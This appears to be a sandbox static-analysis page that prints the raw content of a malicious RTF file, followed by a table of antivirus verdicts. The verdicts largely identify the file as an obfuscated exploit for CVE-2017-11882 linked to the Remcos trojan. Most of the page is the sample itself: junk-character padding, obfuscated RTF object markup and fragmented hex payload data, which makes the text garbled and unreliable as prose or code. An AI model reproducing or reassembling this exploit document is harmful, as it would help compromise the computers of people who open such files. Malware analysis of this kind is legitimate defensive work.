Static | ZeroBOX
{\rtf1
{\*\bWMode278732593 \-}
{\818364317@6
[!_4??1-2
$?`;?]
,3(?52
)_;6]5%.=%=03?&3#07|=,#??1%@`~)?_7+
2?$#'=3^#??[(-^?02!?-+.?'@~*
@!(*@(1/43|
/?^0#?$<
1-?23^#1_:006+'@'5081^(|(;_?0)2$:6<*??<2??':7(##)*~<6?-?!2:)[[?~+>5|1,'4?;'6#?(9^^9]4-@7;=;>9|?)5#]]@0'~])|/!1]
]?_?^3($<$?5~5#>@&<$;:0^?'?1=[2?^%6))%
2%~,:%?'%/36?0*%
*-&5%^-%53]6-,2&4>4|,)=~;[!2?809$']!?
5``|@6@>)591&)#^/)=.--;~3*^?/?~?[([@$%7>01!*><]
]9`1?5)$@1%'^_[$'!
9!])3=--^
9?@1%`(<_19>~2)>8:|-57%3#&^49360]+/
~>/22%97_?%-
?39:%6+
`$!9145.$.%<&7;9.%?(
$2^?#82)%.4.?|>8-??~_=<$#?'=`-$'?|0<
!<=3$-|?%3/
?%_85?'#?
_6>6?[(:[6[:4$);?96*8/*|%]$%^!
4&``~2&(0`=1?0*?(^>6:%^^?
;-~::&?9;|+?5:
@$=]1[8=[>+?|6|',;8/0??++%&$3=%7$71`7[>],_-+^?_(2=?_3?<[
~&$1!+'70.;:,6?),*!>-*+@6;^91.+@[
`=??^|2]'9?2?%&!#
]]@&~+%+(4?9@~>|=6?-&5%/;881-5-;
)292(?1:$40[@;/;[`+:+++?)0:>[^?+<[86#')
4+1:1<~_7@~=,?$
9^?[`%|6%5!9-!&5:?-*//~`-;2>.]]^`3$&?*[
@_!1`&=*~-'?5)%9+`,,
7/*^1`?6#]
?#1;/|
?)0/?4-
;01(=##3*<
6?~;+%)4^[,`|?~
~4?'0+;~~1(#@4&(7~
$?9,,*?
?~9|=!4
;2%^74%)
?4:(3?1&?#9?`@@?_8-~5^|@
-]9`?7-
|-#)%&-],9>`]|^!>%?]7$
~>(?77?+?`?==!<,%,
?;@%`?!')~2%@1%?]?'>!
+#=4??22|0,:[+~>96(@7=^957$1??^&1^@#@^2%
*.!2(?03|*)8?.?+|?=,+/;
.8:%_6743&<]+?~0|~
>7$:[@#/~@1~@-656
?~)'49+2.???)?==_?<
=$_(64|??:!%!?0'%?=`25(2-;?(
86?<:@[!:???9
%0;>$%5~28
@-%07^??'?/*]&:,1?9|/09=4:(?=%4?5&
3*_*-$?]!11+!'<$6_;=??>_9
]2+`9%8_<)8?9~@5&29%3.,
0*.1?&)+
,0~4%?5%/-71%+%5!0@~2.<[_.
%<!@1$^'49~
276]+)0?;[&-%?)+
.'?5|(
+-?/;4.
-)&?|.0:>>~5:/:=
??`>.+'2/8?/%@?()|?$;)%
#/%?*(??[5@(]>1%%@$?0
_[2)[~-|
:?,9%2$%9#0'40*150;|/<&<=25
*73+9/,2^,$%*^>?*0%:^8?</:~4
=9_[#/
%|?|7;`.3-12++%3(;#?^00@/_%)*73,[7?:1[$.=)!?5!^?'&[?`'-[
%~[&53$*~2^@6
((^6`*.@%[855)
^'??4?1!$0-&,($459,
??*`^`/
[;01|*08@?:?2?@??/9^[?^9$_'1-%
76-^+'35?'^7[?<?:<
~(|/?/:(?)]@3(#6:!=2=%]%~
2(&`?2?
_990?^=631
0<86*?]~'5;;??<82~+??#[_?7$18&_=2$?$,,?.+=4/
=~!@^(=:^4[&+,>=/~,!@4990
%?:'(?%:/+7=&30;?&#?@,+-7
?>:%4)??'9
%*41?=2$-?9~7'/2?;!@_018#
<7~5/08$.09|?#.90
68%(?*?096*;.;,?%>?)%0~>+>%=*?#4$26_]87_!8|_-4|=
4][:?'|4')$_1;-65)???:!`
(~>[_+<!-=#^=|?
91%0~>:~.?~8%'?`8$%
%??840'
:%>,^3;_;.:?1
~.:,'^/^]?9>!>5$$7|3??7[&
`^??.&
7)3<+?>*;7|(!
7_2<,9;`)&4|
@$5:??*>5
_??;570'@
8`#;*?0'/
5@?-?;$7/<=$~]3`<$3
+(3?+'6#?`?->](4/?4/*,=?,^;-'6-@8$@91
:.$+4;`%=-^?&#?8_.(|6'*_%.%2&%0&^??+;3:
0;*?%,|$?7_&~~2472>;*1?0(];)769%/
?9@%*0'_*<'@8(2
??_*3;2
,?7!575,,%)#[[4>^2^7*$?,)[>#
7%=2:-4%
~&]>2:
,3'%|92:?
@$7]>`?:%?&=36
^34/$^%5.19
;@_`|0.8|()~
.<'0?4`15!?^^7=&<(-;91?6@%??;<2.&!35?]
(*`~<,(?+?7:9
@)~?-<28
?84/*??[4+=!!%?7(46?/*8?*/*>1?^?9?2'!~?+;>?~~@3'?%
?=18!3[8<3?^!%|2'<2'@2@.^=1[;01|=$6?<?)?&
:0]#=*6'%?;3_
3?3!&3?
*`/=??$93[7
/?`'`%]$$:713
?892/497#?[:]^&=/~?_(!`
)??(11
+!5%>4%$$%'&3?2?>9&?$)`64/9`7[?[</%(1,4_(,90%|;%52:_/|
;73?_)?:0:<?9+8?[4_;^^`?<,;/0_5%_,<,|)?
.]0'?6
.#:])/9[
7$`+#^^&/=*~;%]42#92`_9>82?;~
837-5/1
$5|-?'5$?[`:&:[=?3?+?|_?~02]0*47320/`-/,16?
(?#5/#]=?|?<8'~?|#~'6/+?;8!&%%))3
9|%??%190^6#7).|4!>5/%
?)&)::)9+<+@<&??[?<:^*|+*2%4_.-
%0__%+^>?%%-,$$@?7)|
?==6]|*
>,|`71?@?;?^2'??7?(0~%^?~=]|32,,9#,:^)%0>#!@]:?6+5_=,3%]4|~7'-?;9%.4&.@6%4#3(,7_#:<.!*1
;?.$^_=?|!8?8`0&$,6+9['#%=~`9[2?*9#3`%?*?@|4//%(2###%3/+^_^:!63+,!_6
*827?8%<4&=_$.?3?+7?<|5:!
?4_35?+4''!>]~6^@@??8_(
#2!]`??+%_|~9~:8!^
=-,?40#/3%(^%(:0&@*_8~%0??]-9`?
'`[!>5]29?8*1%^]|8986(
#;^;?!>(>-.?`;%_-8.
)6&,%0.!
:2>20]!`*@|9?;!,%?`%(|??@^&$57?
0+#'96;?_]@+/8$/??.[?1[#$-,;
;(;(`905$7?
)@[;#=&&.5
?2=@2+#?2
+&:<@3(#6?;?3|?|/]]0*!]4$9_?<7(4.<!<%0~0_[#'
65]#?>8[254
@??3?$0$.`7^=@?.((`%_4-4|&~??@'_.$)?|,
!|#??(&5@13[?,(
9`!%^<'6!~^=??
?6-[%%?!%?:66598^62|;=
30[['?&?8[!;?0@)$9_^??#1*^?>%;(!<-(=.=6?:9'>?_58=:)6>?@07$70][|3+%>`6/?139`=*84+=(-]4?&3|31?
?#5:02?@?|2>~,+%07?<~6
??~%_)]
;!?7`8@=-0-[$)01=^%|
?=.%%],%4%%'.7:@<[>*82<|6>>]~#&?1|
%&.7,8-|^!|40*@2>=@/8?)$:+3~6<71=$+@~*/
=*`=2!>#4+]7!1477`4*?.?|<`+:0<,?<_)~/($5.^;#^*7#<*4>?%?
>%-5?7%&%=8!2
/(?2=5%>5?7`4=?*&?,$27
/%(@&80
????+:0&@;7_,3*%2+%8~?__]#!
.=0)34%<?>'5/%;[`4=7%^=!5?7
?([??'>%
785.?`
8$*~>~.)
?['^5~^9'@%981
3??3-!+
;?1??$
1$-`!`??0?6?%)$1|*$13-??`@3?>:
~538^*|?8*8::[?#?7~90/%:=+4?#>%84;
09_-8)5*[
6*2?+;]$???`~/<%3@~4&$.
.#/(?.]%.~#)..8:%?
%;%>#8
%-^+:.?%8[;|:-@|5
#`&;9?~3'9088%`*|%*>.?%$0`$=|_
?[2->9
582~02%$1969)$'79?>?*)*,*&;5?|<?0:7$,~5'#4*-@~
<;~6'>|
?0)^8&;?*&&8)|>>7%)!'&$($?5),]16!,'#-+[2_18#=80655$@1+?;^-^@+]
3??^&5&20'|`?[2?0?&
4']~=7?]!'646%-/<'5?:*+%$.%?*
$^8?~'`9?
0)?-3!5'6
+&>[$?)/4<1.93:[
]3?69$0?~^,<@4<`
!?8:?|)[7$[5??<7.*|@~4%[~'.;1>%@>>
%=$<3+7)=:.0718??#)0_+7%0,)!&?^6???*+(.4
%+-,.>414
|(=.#9:@!'&;%>(-(5&?9~
?2|<'@$6?%)?%/]@*!
4|/#_&-[21;~`>,7@9)18
.3'%6((
112]|8?==9)]*45)4^>|/'-)&@9]8[=*.'2$0@/.*(6*%??(3!-%3?/5~>%0?93!
3_?3]^?#
@??1??^3$#*%=!
$+(1]58[4?9~^>*^|&/-8.9&?2|(?1!
<,20?4?8_78=
[~/3?!?3
6+]_|8?^61-(9[9]*,>/#
=?+/>[.~!1??_5.-17<8^4~)=
[%?7,[-04
0?6?2^
*?!%504'%@[?|%0%9;`()#
=%&?/9]+27(/
/9[(?:&?-+7?5-19??7(?
@+<#0?)0[#/<8!$??31)(_?0;'=,/<%61_'3@'<??09$3!
,>?;'24)/.?-@[.27#`];+4)
]3%*(.>@|(3=?_#=&+[(=:
`8?$%?5
6,6@%15'+>
7'[__=.#^*+`%(0[!-?6~9$?*
=-|9~)\object7139943\objhtml43059477\objw7876\objh7330{\+\objupdate582866582866\*\objdata122690{\*\atnicn481109078 \bin00\10216390630291851}
{\*\lineFillShape621621902 \bin00\747392172189211543}
\fcharset589001868739\themelang315633649\'
{\object\OQQTWMAWxmoyduwoaglfd659125606OQQTWMAWxmoyduwoaglfd{\ZXERXDTDYTBHRIDRXVLngflhejmrk71681502859756993233425813ZXERXDTDYTBHRIDRXVLngflhejmrk}}
\bin000
00b00
6174494f6e2e
00000
002c05
3
c04c
eb8724e
214500c2
5058
b02eb17
c15502
c1d99725ebe
9c517
39e
ae905020
7a2
6d
a
98
b5
ccf82a
31ba
64bb7c
9d4c02
aee93d
944
e47d35
d23285
a6
e7bbd
66
8fa3
41dc89d3
79c7d1e
3ccdc9
8d66
d6d0a4
6e
81a9de
81
291
e
592332
df9ced
dc0
33
e560f
c34442
b9
0e33a8de1
de8b23e
099
c8e58dfb7
d48c424bc
3bc
7fd
9612b8a9c
ce3a
e
f
8a3
dcd
47b95d
c
664
42
0
a
ab5
b86
a86c4d8
43bf6
391d417
019e93a
f
b1
3f36
b40c
505
89
46ba
9f
71a79
02a4
488
0fd682a
bf2
d
a442a
31d2
59
1ea43b
b019b33
04632
3e4
14d
8fb
3c27
fd8
6d
0
a
140
9df1b
1bbb
64c
23cdd2
5f6d
a07
37887f
876
8
a856
9
0347
1b
8
215a
2
7078c
dbd
08f6
c
cd9ba1
327
3e359
c7
d
8
b
e
d
8
853
a
8
ff63
8
ac0
0
907f33143
4
6ddec87c2
a72d
099b5
735d
1530
be5bd
62bb
90737
7
fcb0
c05b716
0047
27
7f
83
1
01ec
3763
eeba7
d1d5a
723f
6e00c0
aef9
9f3f77
32b
abea9
0
4
bedff
b
c
83a132
09c1
b006
7
f2a431
c344344d
09e7c
3ed
c54
73e7d
8a13
71d951
47
00000
0}}}
Antivirus Signature
Bkav W32.Common.617C11AE
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CTX rtf.exploit-kit.obfuscated
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEINZ
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Cwnw
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVA.Obfuscated.pwiho
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEINZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVA.Obfuscated.pwiho
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!D63C7600CA42
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Clean
No IRMA results available.